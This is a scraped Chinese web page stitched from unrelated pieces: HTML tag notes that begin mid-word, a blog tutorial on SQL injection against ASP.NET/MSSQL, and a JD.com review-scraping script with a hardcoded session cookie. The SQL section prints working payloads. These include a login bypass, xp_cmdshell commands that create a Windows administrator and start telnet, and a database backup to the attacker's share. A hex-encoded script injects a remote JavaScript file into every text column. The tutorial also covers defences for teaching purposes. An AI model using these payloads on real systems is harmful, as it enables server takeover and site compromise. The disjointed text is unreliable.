TML稱為超文本標記語言,是一種標識性的語言。常用的元素有:文本格式化、列表、鏈接、圖像、視頻、音頻、表格、表單。本節主要學習文本格式化、列表、鏈接這3個常用元素
2.1.1 文本格式化
特殊字符需要進行轉義處理(編碼)
1.換行符
<br>
2.空格
3. >
>
4. <
<
5. "
"
6. &
&
6個層次化標題。
h1 h2 h3 h4 h5 h6
使內容自成一段
p
保留文本中的換行與空格。
pre
1. b 加粗
2. i 傾斜
3. u 下劃線
4. s 刪除線 del
5. sub 下標
6. sup 上標
2.1.2 列表
列表分類
1. 無序 ul
2. 有序 ol
3. 嵌套 ul ol
4. 自定義 dl
ul = unorder list
li = list
<ul type="square">
<li></li>
<li></li>
...
</ul>
ol = order list
<ol type="">
<li></li>
<li></li>
...
</ol>
編號方式:
1 數字
a/A 小寫/大寫字母
i/I 小寫/大寫羅馬數字
dl = define list
<dl>
<dh></dh>
<dd></dd>
<dd></dd>
...
<dh></dh>
<dd></dd>
<dd></dd>
...
...
</dl>
2.1.3 鏈接
鏈接的分類
1. 頁面間鏈接
2. 郵件鏈接
3. 頁面內鏈接
<a href="URL" target="__blank">鏈接描述</a>
<a href="https://www.baidu.com/" target="__blank">百
度一下</a>
<a href="mailto:E-mail">鏈接描述</a>
<a href="mailto:zhangsan@qq.com">發郵件給張三</a>
<a href="mailto:zhangsan@qq.com?
subject=xxx&cc=lisi@163.com">發郵件給張三</a>
參數: subject 郵件主題 cc 抄送
業開始從事winfrm到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種借口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。
(對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什么好經驗,為避免后知后覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。
嘗嘗SQL注入
1. 一個簡單的登錄頁面
關鍵代碼:
privateboolNoProtectLogin(string userName, string password){int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}
方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)
1) 輸入正常數據,效果如圖:
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′
2) 輸入注入數據:
如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′
因為UserName值中輸入了“–”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上‘; ‘ (分號,用于結束前一條語句),后邊加上‘–‘ (用于注釋后邊的語句))
1) 猜測數據庫名,備份數據庫
a) 猜測數據庫名: and db_name() >0 或系統表master.dbo.sysdatabases
b) 備份數據庫:;backup database 數據庫名 to disk = ‘c:*.db’;–
或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–
2) 猜解字段名稱
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
3) 遍歷系統的目錄結構,分析結構并發現WEB虛擬目錄(服務器上傳木馬)
先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;–
b) 利用xp_subdirs獲得子目錄列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–
c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實驗成功)
d) 利用 bcp 命令將表內容導成文件
即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)
Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘
(注意:語句中使用的是雙引號,另外表名格式為“數據庫名.用戶名.表名”)
在sql查詢器中通過語句:Exec master..xp_cmdshell N’BCP’即可查看BCP相關參數,如圖:
4) 查詢當前用戶的數據庫權限
MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當前用戶是否具有該權限。
5) 設置新的數據庫帳戶(得到MSSQL管理員賬戶)
d) 在數據庫內添加一個hax用戶,默認密碼是空
;exec sp_addlogin’hax’;–
e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;–
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–
6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin權限的帳戶后,使用查詢分析器連接到數據庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我們使用xp_cmdshell來創建一個 Windows 用戶,并開啟遠程登錄服務:
a) 判斷xp_cmdshell擴展存儲過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’
b) 恢復xp_cmdshell擴展存儲過程
Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;
開啟后使用xp_cmdshell還會報下面錯誤:
SQL Server 阻止了對組件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關啟用 ‘xp_cmdshell’ 的詳細信息,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。
通過執行下面語句進行設置:
— 允許配置高級選項EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 啟用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO
c) 禁用xp_cmdshell擴展存儲過程
Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;
d) 添加windows用戶:
Exec xp_cmdshell ‘net user awen /add’;
e) 設置好密碼:
Exec xp_cmdshell ‘net user awen password’;
f) 提升到管理員:
Exec xp_cmdshell ‘net localgroup administrators awen /add’;
g) 開啟telnet服務:
Exec xp_cmdshell ‘net start tlntsvr’
7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.
(本人windows7系統,測試下面SQL語句木有效果)
declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;
在使用的時候會報如下錯:
SQL Server 阻止了對組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關啟用 ‘Ole Automation Procedures’ 的詳細信息,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。
解決辦法:
sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO
好了,這樣別人可以登錄你的服務器了,你怎么看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數據庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。
措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數據庫中,直接使用SQL語法UPDATE數據庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過“HEX編碼”,然后通過exec可以執行“動態”SQL的特性運行腳本”。
a) 向當前數據庫的每個表的每個字段插入一段惡意腳本
Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor
b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行
dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--
c) 批次刪除數據庫被注入的腳本
declare @delStrnvarchar(500)set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '數據庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off
d) 我如何得到“HEX編碼”?
開始不知道HEX是什么東西,后面查了是“十六進制”,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )
? 在線轉換 (TRANSLATOR, BINARY),進入……
? C#版的轉換,進入……
9) 對于敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入
比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:
declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
防止SQL注入
1. 數據庫權限控制,只給訪問數據庫的web應用功能所需的最低權限帳戶。
如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。
在 ASP.NET 中,可通過web.config配置文件的節點設置:
<customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>
mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。
On指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。Off指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。RemoteOnly指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示 ASP.NET 錯誤。這是默認值。
看下效果圖:
設置為一般性錯誤:
設置為:
xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。
xp_cmdshell能執行dos命令,通過語句sp_dropextendedproc刪除,
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist用來確定一個文件是否存在xp_getfiledetails可以獲得文件詳細資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得服務器名稱Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以訪問注冊表的存儲過程Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你不需要請丟棄OLE自動存儲過程
1) 非參數化(動態拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉義字符轉換掉。
b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。
d) 使用枚舉:如果只有有限的幾個值,就用枚舉。
e) 關鍵字過濾:這個門檻比較高,因為各個數據庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
public static bool ValiParms(string parms){ if (parms == null) { return false; } Regex regex = new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2 = new Regex("'", RegexOptions.IgnoreCase); Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase); Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5 = new Regex(""", RegexOptions.IgnoreCase); Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase); Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}
優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小
缺點:
a) 對于關鍵字過濾,常常“顧此失彼”,如漏掉關鍵字,系統函數,對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數據庫封裝函數。
b) 無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。
c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。
2) 參數化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數據的有效性。
b) 參數化查詢原理:在使用參數化查詢的情況下,數據庫服務器不會將參數的內容視為SQL指令的一部份來處理,而是在數據庫完成 SQL 指令的編譯后,才套用參數運行,因此就算參數中含有具有損的指令,也不會被數據庫所運行。
c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最后一道安全防線。
優點:
? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
? 參數化查詢能強制執行類型和長度檢查。
? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)
缺點:
? 不是所有數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數據庫支持參數化查詢。
疑問:參數化如何“批量更新”數據庫。
a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。
EG:
StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循環){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}
b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……
疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低于因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。
另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法
--清空緩存的查詢計劃DBCC FREEPROCCACHEGO--查詢緩存的查詢計劃SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handleGO
3) 參數化查詢示例
效果如圖:
參數化關鍵代碼:
Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}
5. 存儲過程
存儲過程(Stored Procedure)是在大型數據庫系統中,一組為了完成特定功能的SQL 語句集,經編譯后存儲在數據庫中,用戶通過指定存儲過程的名字并給出參數(如果該存儲過程帶有參數)來執行它。
優點:
a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。
b) 在創建時進行預編譯,后續的調用不需再重新編譯。
c) 可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。
缺點:
a) 非應用程序內聯代碼,調式麻煩。
b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程序)
c) 如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最后如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。
關鍵代碼為:
cmd.CommandText = procName;// 傳遞存儲過程名cmd.CommandType = CommandType.StoredProcedure;// 標識解析為存儲過程
如果在存儲過程中SQL語法很復雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。
關鍵代碼:
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND
b) EXECUTE(注意sql中拼接字符,對于字符參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)
CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END
注入截圖如下:
情景1
A:“丫的,又中毒了……”
B:“我看看,你這不是裸機在跑嗎?”
電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。
情景2
A:“終于把網站做好了,太完美了,已經檢查過沒有漏洞了!”
A:“網站怎么被黑了,怎么入侵的???”
公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。
盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
%包含零個或多個字符的任意字符串。_任何單個字符。[]指定范圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。[^]不在指定范圍(例如 [^a – f])或集合(例如 [^abcdef])內的任何單個字符。
在模糊查詢LIKE中,對于輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個字符是‘%’或‘_’時,為未知字符不會使用索引, sql會遍歷全表。
b) 若通配符放在已知字符后面,會使用索引。
網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的數據庫中會使用到索引吧……
截圖如下:
有兩種將通配符轉義為普通字符的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:
WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’
2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索范圍,請將破折號指定為方括號內的第一個字符。EG:
所以,進行過輸入參數的關鍵字過濾后,還需要做下面轉換確保LIKE的正確執行
一天,一朋友扔給我一個鏈接https://item.jd.com/100000499657.html,讓我看看這個歌商品的所有評論怎么抓取,我打開一看,好家伙,竟然有近300萬條評論,不是一個小數目啊。
京東某商品評論
但是仔細一看,原來有234萬+的評論是默認好評,還是有少部分是有價值的評價的。
經過進一步觀察,可以看到
商品評論翻頁
顯然,網頁中顯示的只有100頁數據,每頁顯示10條,通常可以用selenium點擊每一頁然后獲取,但是這樣效率是不是太低了呢?還是直接用requests來得更直接,很多情況下網頁顯示的數據是請求得到的JSON數據在網頁上渲染而顯示出來的,京東的評論會不會也是這樣呢?好,說干就干!!!
這個小項目使用Python爬取,不需要太多的配置,只需要安裝requests庫就足夠 ,我相信對于很多玩爬蟲的小伙伴來說這個庫肯定是必備的,沒裝requests不要告訴我你會爬蟲 。
上面說到,網頁中的數據很多都是通過渲染請求到的JSON數據得到的,那么我們就來看看京東是不是也是這樣的。利用瀏覽器的審計工具,選擇Network欄,可以看到
商品評論總體概況
仔細查看,尋找鏈接中于評論(comment)有關的鏈接,可以找到其中的一個請求鏈接https://club.jd.com/comment/productCommentSummaries.action?referenceIds=100000499657&callback=jQuery1951081&_=1586669401777,如上圖。這是關于該商品評論的整體情況的,可以看到具體的總評論數、默認好評數、好評數、好評率等,雖然不是我們想要的,但是也近了一步,繼續尋找,又找到了一條帶comment字眼的鏈接https://club.jd.com/comment/productPageComments.action?callback=fetchJSON_comment98&productId=100000499657&score=0&sortType=5&page=0&pageSize=10&isShadowSku=0&fold=1,如圖
評論詳情概覽
后邊有10條評論,應該就是該商品對應的第一頁評論了,點開查看,如下:
評論數據詳情
對比網頁中顯示的評論可以看到,這就就是我們要找的東西。
由于得到的數據不是標準格式的JSON,所以我選擇使用正則表達式來獲取相關的內容。
現在還有一個問題,我們只獲得了1頁評論,那怎么獲取所有的評論呢?會不會秘密隱藏在鏈接中呢?
對于鏈接https://club.jd.com/comment/productPageComments.action?callback=fetchJSON_comment98&productId=100000499657&score=0&sortType=5&page=0&pageSize=10&isShadowSku=0&fold=1,顯然有很多參數,不難找到,有參數productId和page,如果猜得不錯,應該是商品id和評論頁數(從0開始),這時,換一個商品id,那么商品id怎么獲得呢?舉個例子,在鏈接https://item.jd.com/100000499657.html中,商品id就是100000499657。另找一個商品,將其商品id替換掉評論鏈接中的productId,獲得的正是該商品的第一頁評論。現在嘗試翻頁,逐漸增大page參數的值,如1、2、3…,也能獲取到對應頁的評論數據。
現在分析工作已經做的差不多了,可以開始碼代碼了。
import re
import time
import csv
import os
import requests
import html
# 設置請求頭
headers = {
'cookie': 'shshshfp=22dd633052035d21be92463ffa35684d; shshshfpa=ab283f84-c40f-9710-db89-84a8d3366a81-1586333030; __jda=122270672.1586333031101106032014.1586333031.1586333031.1586333031.1; __jdv=122270672|direct|-|none|-|1586333031103; __jdc=122270672; shshshfpb=bUe7tI9%2FOOaJKd7vP0EtSOg%3D%3D; __jdu=1586333031101106032014; areaId=22; ipLoc-djd=22-1977-1980-0; 3AB9D23F7A4B3C9B=7XEQD4BFTGEH44EK7LN7HLFCHJW6W2NS5VJOQOCHABZVI7LXJJIW3K2IX5MTPZ4TBERBLY6TRQR5CA3S3IYVLQ2JGI; jwotest_product=99; shshshsID=a7457cee6a4a9fa285fe2cff44c6bd17_4_1586333142454; __jdb=122270672.4.1586333031101106032014|1.1586333031; JSESSIONID=8C21549A613B83F0CB86EF1F38FD63D3.s1',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36'
}
導入需要使用到的模塊,并且定義請求頭用于請求,減少被反爬的概率。
def comment_crawl(page, writer):
'''爬取評論'''
print('當前正在下載第%d頁評論' % (page + 1))
url = 'https://club.jd.com/comment/productPageComments.action?callback=fetchJSON_comment98&productId=100000499657&score=0&sortType=5&page=%d&pageSize=10&isShadowSku=0&fold=1' % page
# 請求鏈接獲取數據
text = requests.get(url, headers=headers).text
# 正則表達式匹配數據
comment_list = re.findall(
r'guid":".*?"content":"(.*?)".*?"creationTime":"(.*?)",".*?"replyCount":(\d+),"score":(\d+).*?usefulVoteCount":(\d+).*?imageCount":(\d+).*?images":',
text)
for result in comment_list:
# 根據正則表達式結果匹配數據
content = html.unescape(result[0]).replace('\n', ' ')
comment_time = result[1]
reply_count = result[2]
score = result[3]
vote_count = result[4]
image_count = result[5]
# 寫入數據
writer.writerow((comment_time, score, reply_count, vote_count, image_count, content))
這是爬取評論的主體部分,在請求獲取到數據后,通過正則表達式匹配到所需內容。這里有一個注意點,html.unescape(result[0])是為了將評論內容的HTML轉義字符如…等轉化成普通字符串,這樣數據更完整清晰。
if __name__ == '__main__':
'''主函數'''
start = time.time()
if os.path.exists('DATA.csv'):
os.remove('DATA.csv')
with open('DATA.csv', 'a+', newline='', encoding='gb18030') as f:
writer = csv.writer(f)
writer.writerow(('留言時間', '評分', '回復數', '點贊數', '圖片數', '評論內容'))
for page in range(100):
comment_crawl(page, writer)
run_time = time.time() - start
print('運行時間為%d分鐘%d秒。' % (run_time // 60, run_time % 60))
主函數創建文件用于保存數據,并對程序計時,以觀察執行效率。
整個小項目很簡單,重點在分析過程和思路,只要分析好了,代碼實現就很容易。一次測試的示意如下:
京東評論爬取單線程運行
效率還是很不錯的,23秒內獲取了近千條評論。
數據部分截圖如下:
京東評論數據
如果需要獲取其他商品評論在代碼中直接更改函數中url的productId即可。
完整代碼可點擊https://download.csdn.net/download/CUFEECR/12323279下載。
pool = ThreadPoolExecutor(3)
...
for page in range(100):
pool.submit(comment_crawl, page, data_list)
代碼可點擊https://download.csdn.net/download/CUFEECR/12323373下載學習。演示如下:
京東評論爬取多線程運行
運行時間縮短了三分之一左右,顯然大大提高了效率。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。